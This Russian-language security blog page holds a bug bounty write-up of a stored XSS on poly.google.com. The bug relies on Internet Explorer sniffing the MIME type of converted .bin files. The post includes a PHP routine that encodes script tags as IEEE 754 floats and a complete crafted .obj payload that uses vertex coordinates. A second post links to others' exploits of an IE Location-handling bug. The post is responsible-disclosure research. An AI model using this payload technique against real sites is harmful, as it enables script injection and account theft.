Показаны сообщения с ярлыком internet explorer. Показать все сообщения
Показаны сообщения с ярлыком internet explorer. Показать все сообщения

02 января 2018

[poly.google.com] XSS


Почти год назад отправлял заявку в Vulnerability Research Grant от Google и в ноябре меня наконец-то пригласили поучаствовать. Так как приглашение совпало с отпуском - решил найти что-нибудь не совсем стандартное, но интересное.

Суть этой программы в следующем - при хорошем качестве кода можно потратить довольно много времени и не найти уязвимости, что может отталкивать багхантеров. Для этого были введены гранты, которые выплачиваются участникам независимо от результата (при этом все найденные уязвимости оцениваются в стандартном порядке и не зависят от гранта). Скоуп в данной программе содержал в себе 20 позиций - новые мобильные и веб-приложения, изменения в существующих сервисах и даже десктопные приложения. Отдельно можно выделить “Choose your own adventure!”, когда багхантер может выбрать любой продукт от Google для анализа в рамках этого гранта.

Я решил сконцентрироваться на новом веб-приложении для работы с 3D моделями poly.google.com. Пользователь может загружать файлы в формате Wavefront .obj, которые выглядят следующим образом:

v 0.0 0.0 0.0
v 4.0 0.0 0.0
v 4.0 4.0 0.0
v 0.0 4.0 0.0
v 2.0 6.0 0.0
f 1 2 3 4
f 3 4 5

На сервере они конвертируются в бинарный файл .bin:

И в HTTP ответе использовались следующие заголовки:

Content-Type: application/octet-stream
Content-Disposition: inline; filename="xss.bin"

При указании данных заголовков Internet Explorer и, судя по всему, Edge попытаются определить mime type файла по его содержимому. Подробнее о том, как это работает - MIME Type Detection in Windows Internet Explorer. То есть, если сформировать такой файл obj, который после конвертации в bin будет содержать в себе html, то получится сделать хранимую XSS для IE.

Например, задать необходимый payload можно используя координаты вершин. Для этого находим функцию, преобразующую HEX строку в 32-bit IEEE 754 число с плавающей точкой и конвертируем XSS вектор.

<?php
function hexTo32Float($strHex) {
    $v = hexdec($strHex);
    $x = ($v & ((1 << 23) - 1)) + (1 << 23) * ($v >> 31 | 1);
    $exp = ($v >> 23 & 0xFF) - 127;
    return $x * pow(2, $exp - 23);
}

print(hexTo32Float(bin2hex(strrev("<scr")))).PHP_EOL; // 4.5051140506042E+30
print(hexTo32Float(bin2hex(strrev("ipt>")))).PHP_EOL; // 0.23871006071568

Получается следующий .obj файл, который необходимо загрузить на сайт.

#xss.obj
v 4.7275221264773E+27 1.4914213187279E+31 2.8899316938437E+29
v 1.8474870460757E+20 7.681841551373E+31 4.4159888520194E+21
v 1.7751098170076E+28 7.0618740621481E+28 1.8056946957706E+28
v 1.7109925976033E-10 1.8314355250257E+25 1.6132151934861E-19
v 5.8774717541114E-39 0 0
f 1 1 1 1
f 2 2 2 2
f 3 3 3 3
f 4 4 4 4
f 5 5 5 5

И результат его обработки:
https://poly.google.com/downloads/eGXuYT8DqPr/378IoBkknJY/xss.bin

12 сентября 2016

Некорректная обработка Location в IE


Очень круто, что обнаруженный мной баг с обработкой Location в Internet Explorer (почитать можно тут, тут или тут) используется и с небольшими дополнениями выстреливает в популярных BugBounty программах.

XSS via Host header - www.google.com/cse
http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html

GitHub OAuth Code Theft
https://blog.innerht.ml/internet-explorer-has-a-url-problem/

Combining host header injection and lax host parsing serving malicious data
https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/

How I could Steal Your Google Bug Hunter Account with Two Clicks in IE
http://ngailong.com/how-i-could-steal-your-google-bug-hunter-account-with-two-clicks-in-ie/